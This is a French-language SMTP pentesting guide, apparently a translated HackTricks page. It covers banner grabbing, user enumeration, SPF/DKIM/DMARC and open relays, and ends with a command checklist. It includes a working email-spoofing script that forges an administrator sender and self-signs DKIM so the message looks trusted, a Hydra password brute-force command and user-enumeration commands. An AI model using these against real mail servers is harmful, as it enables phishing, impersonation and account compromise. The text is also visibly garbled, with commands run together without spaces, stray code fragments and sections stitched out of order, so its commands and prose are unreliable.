Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
Informations de base
Le Protocole de transfert de courrier simple (SMTP) est un protocole utilisé dans la suite TCP/IP pour l'envoi et la réception d'e-mails. En raison de ses limitations dans la mise en file d'attente des messages à l'extrémité du destinataire, SMTP est souvent utilisé aux côtés de POP3 ou IMAP. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages dans une boîte aux lettres serveur et de les télécharger périodiquement.
En pratique, il est courant pour les programmes de messagerie d'utiliser SMTP pour l'envoi d'e-mails, tout en utilisant POP3 ou IMAP pour les recevoir. Sur les systèmes basés sur Unix, sendmail se distingue comme le serveur SMTP le plus fréquemment utilisé à des fins de messagerie. Le package commercial connu sous le nom de Sendmail comprend un serveur POP3. De plus, Microsoft Exchange fournit un serveur SMTP et offre la possibilité d'inclure le support POP3.
Port par défaut : 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
En-têtes EMAIL
Si vous avez l'opportunité de faire envoyer un email par la victime (via le formulaire de contact de la page web par exemple), faites-le car vous pourriez en apprendre davantage sur la topologie interne de la victime en consultant les en-têtes de l'email.
Vous pouvez également recevoir un email d'un serveur SMTP en essayant de lui envoyer un email à une adresse inexistante (car le serveur enverra à l'attaquant un email NDN). Cependant, assurez-vous d'envoyer l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.
Vous devriez également essayer d'envoyer des contenus différents car vous pourriez trouver des informations plus intéressantes dans les en-têtes comme : X-Virus-Scanned: by av.domain.com
Vous devriez envoyer le fichier de test EICAR.
Détecter l'AV peut vous permettre d'exploiter des vulnérabilités connues.
Actions de base
Récupération de bannière/Connexion de base
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Ou automatisez ceci avec le plugin nmapsmtp-ntlm-info.nse
Nom du serveur interne - Divulgation d'informations
Certains serveurs SMTP complètent automatiquement l'adresse de l'expéditeur lors de l'émission de la commande "MAIL FROM" sans une adresse complète, divulguant ainsi leur nom interne :
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Vérifiez si vous avez reniflé un mot de passe à partir des paquets vers le port 25
VRFY (Verify) is a command in the SMTP protocol used to verify whether a specific user or mailbox exists within a mail server. This command can be abused by attackers to gather information about valid user accounts on the target mail server. It is recommended to disable the VRFY command to prevent this type of enumeration attack.
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Rapports DSN
Rapports de notification de l'état de livraison : Si vous envoyez un e-mail à une organisation à une adresse invalide, l'organisation vous notifiera que l'adresse était invalide en envoyant un e-mail de retour. Les en-têtes de l'e-mail retourné contiendront des informations potentiellement sensibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur les logiciels antivirus).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## Vulnérabilité de Smuggling SMTP
La vulnérabilité de Smuggling SMTP permettait de contourner toutes les protections SMTP (consultez la section suivante pour plus d'informations sur les protections). Pour plus d'informations sur le Smuggling SMTP, consultez :
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Contremesures de Spoofing d'Email
Les organisations sont empêchées d'envoyer des emails non autorisés en leur nom en utilisant **SPF**, **DKIM**, et **DMARC** en raison de la facilité de falsification des messages SMTP.
Un **guide complet sur ces contremesures** est disponible sur [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF a été "déprécié" en 2014. Cela signifie qu'au lieu de créer un enregistrement **TXT** dans `_spf.domain.com`, vous le créez dans `domain.com` en utilisant la **même syntaxe**.\
De plus, pour réutiliser les enregistrements SPF précédents, il est assez courant de trouver quelque chose comme `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) est un mécanisme qui permet aux Agents de Transfert de Courrier (MTA) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de messagerie autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines, et d'autres entités **autorisées à envoyer des emails au nom d'un nom de domaine**, inclut diverses "**Mécanismes**" dans l'enregistrement SPF.
#### Mécanismes
Depuis [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mécanisme | Description |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Correspond toujours; utilisé pour un résultat par défaut comme `-all` pour toutes les adresses IP non correspondant aux mécanismes précédents. |
| A | Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra. |
| IP4 | Si l'expéditeur est dans une plage d'adresses IPv4 donnée, correspondance. |
| IP6 | Si l'expéditeur est dans une plage d'adresses IPv6 donnée, correspondance. |
| MX | Si le nom de domaine a un enregistrement MX se résolvant à l'adresse de l'expéditeur, il correspond (c'est-à-dire que le courrier provient de l'un des serveurs de courrier entrant du domaine). |
| PTR | Si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inverse confirmé en avant), correspondance. Ce mécanisme est déconseillé et doit être évité, si possible. |
| EXISTS | Si le nom de domaine donné se résout à une adresse quelconque, correspondance (peu importe l'adresse à laquelle il se résout). Ceci est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL. |
| INCLUDE | Référence la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement se poursuit. Pour déléguer entièrement à la politique d'un autre domaine, l'extension de redirection doit être utilisée. |
| REDIRECT | <p>Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. C'est utile lorsqu'on travaille avec un grand nombre de domaines partageant la même infrastructure de messagerie.</p><p>La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.</p> |
Il est également possible d'identifier des **Qualificateurs** qui indiquent **ce qui doit être fait si un mécanisme est correspondant**. Par défaut, le **qualificateur "+"** est utilisé (donc si un mécanisme correspond, cela signifie qu'il est autorisé).\
Vous noterez généralement **à la fin de chaque politique SPF** quelque chose comme: **\~all** ou **-all**. Cela est utilisé pour indiquer que **si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'email comme non fiable (\~) ou rejeter (-) l'email.**
#### Qualificateurs
Chaque mécanisme dans la politique peut être précédé de l'un des quatre qualificateurs pour définir le résultat souhaité :
* **`+`**: Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualificateur, rendant `+mx` équivalent à `mx`.
* **`?`**: Représente un résultat NEUTRE, traité de manière similaire à AUCUN (aucune politique spécifique).
* **`~`**: Indique SOFTFAIL, servant de terrain d'entente entre NEUTRE et ÉCHEC. Les emails répondant à ce résultat sont généralement acceptés mais marqués en conséquence.
* **`-`**: Indique ÉCHEC, suggérant que l'email devrait être rejeté catégoriquement.
Dans l'exemple suivant, la **politique SPF de google.com** est illustrée. Notez l'inclusion des politiques SPF de différents domaines dans la première politique SPF :
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas d'enregistrement SPF correct/ou inexistant. De nos jours, si un e-mail provient d'un domaine sans enregistrement SPF valide, il sera probablement rejeté/marqué comme non fiable automatiquement.
DKIM est utilisé pour signer les e-mails sortants, permettant leur validation par des Agents de Transfert de Courrier (MTA) externes grâce à la récupération de la clé publique du domaine à partir du DNS. Cette clé publique se trouve dans l'enregistrement TXT d'un domaine. Pour accéder à cette clé, il faut connaître à la fois le sélecteur et le nom de domaine.
Par exemple, pour demander la clé, le nom de domaine et le sélecteur sont essentiels. Ils peuvent être trouvés dans l'en-tête du courrier DKIM-Signature, par exemple, d=gmail.com;s=20120113.
Une commande pour récupérer ces informations pourrait ressembler à :
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC améliore la sécurité des e-mails en s'appuyant sur les protocoles SPF et DKIM. Il définit des politiques qui guident les serveurs de messagerie dans le traitement des e-mails d'un domaine spécifique, notamment la manière de gérer les échecs d'authentification et où envoyer des rapports sur les actions de traitement des e-mails.
Pour obtenir l'enregistrement DMARC, vous devez interroger le sous-domaine _dmarc
Deici.
Vous devez avoir des enregistrements SPF séparés pour chaque sous-domaine à partir duquel vous souhaitez envoyer des e-mails.
Ce qui suit a été initialement publié sur openspf.org, qui était autrefois une excellente ressource pour ce type de chose.
La question du démon : Et les sous-domaines ?
Si je reçois un e-mail de pielovers.demon.co.uk et qu'il n'y a pas de données SPF pour pielovers, devrais-je remonter d'un niveau et tester le SPF pour demon.co.uk ? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client pourrait avoir sa propre politique. Il n'aurait pas de sens que la politique de Demon s'applique par défaut à tous ses clients ; si Demon veut le faire, il peut configurer des enregistrements SPF pour chaque sous-domaine.
Ainsi, le conseil aux éditeurs SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte qui a un enregistrement A ou MX.
Les sites avec des enregistrements A ou MX génériques devraient également avoir un enregistrement SPF générique, de la forme : * IN TXT "v=spf1 -all"
Cela a du sens - un sous-domaine peut très bien se trouver dans un endroit géographique différent et avoir une définition SPF très différente.
Relais Ouvert
Lors de l'envoi d'e-mails, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un serveur relais de confiance par le destinataire. Cependant, un défi courant est que les administrateurs pourraient ne pas être pleinement conscients des plages d'adresses IP sûres à autoriser. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité.
Une solution de contournement que certains administrateurs utilisent pour éviter les problèmes de livraison d'e-mails, en particulier concernant les communications avec des clients potentiels ou en cours, est d'autoriser les connexions depuis n'importe quelle adresse IP. Cela se fait en configurant le paramètre mynetworks du serveur SMTP pour accepter toutes les adresses IP, comme indiqué ci-dessous:
mynetworks=0.0.0.0/0
Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails depuis n'importe quelle source externe), l'outil nmap est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer une analyse détaillée sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant nmap est :
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Si vous rencontrez une erreur en utilisant la bibliothèque dkim python pour analyser la clé, n'hésitez pas à utiliser la suivante.
REMARQUE : Il s'agit simplement d'une solution temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl ne peut pas être analysée par dkim.
# Cela enverra un message non signémail("votre_email@gmail.com", "Sujet de test !", "salut ! Ceci est un test", "De : administrateur@victime.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Utilisation de valeurs différentes de celles des en-têtes de messagerie
Existence d'un certificat SSL valide et fiable
Soumission de la page à des sites de filtrage de contenu Web
Exfiltration via SMTP
Si vous pouvez envoyer des données via SMTPlisez ceci.
Fichier de configuration
Postfix
Généralement, s'il est installé, dans /etc/postfix/master.cf contient des scripts à exécuter lorsque par exemple un nouvel e-mail est reçu par un utilisateur. Par exemple, la ligne flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} signifie que /etc/postfix/filtering sera exécuté si un nouvel e-mail est reçu par l'utilisateur mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
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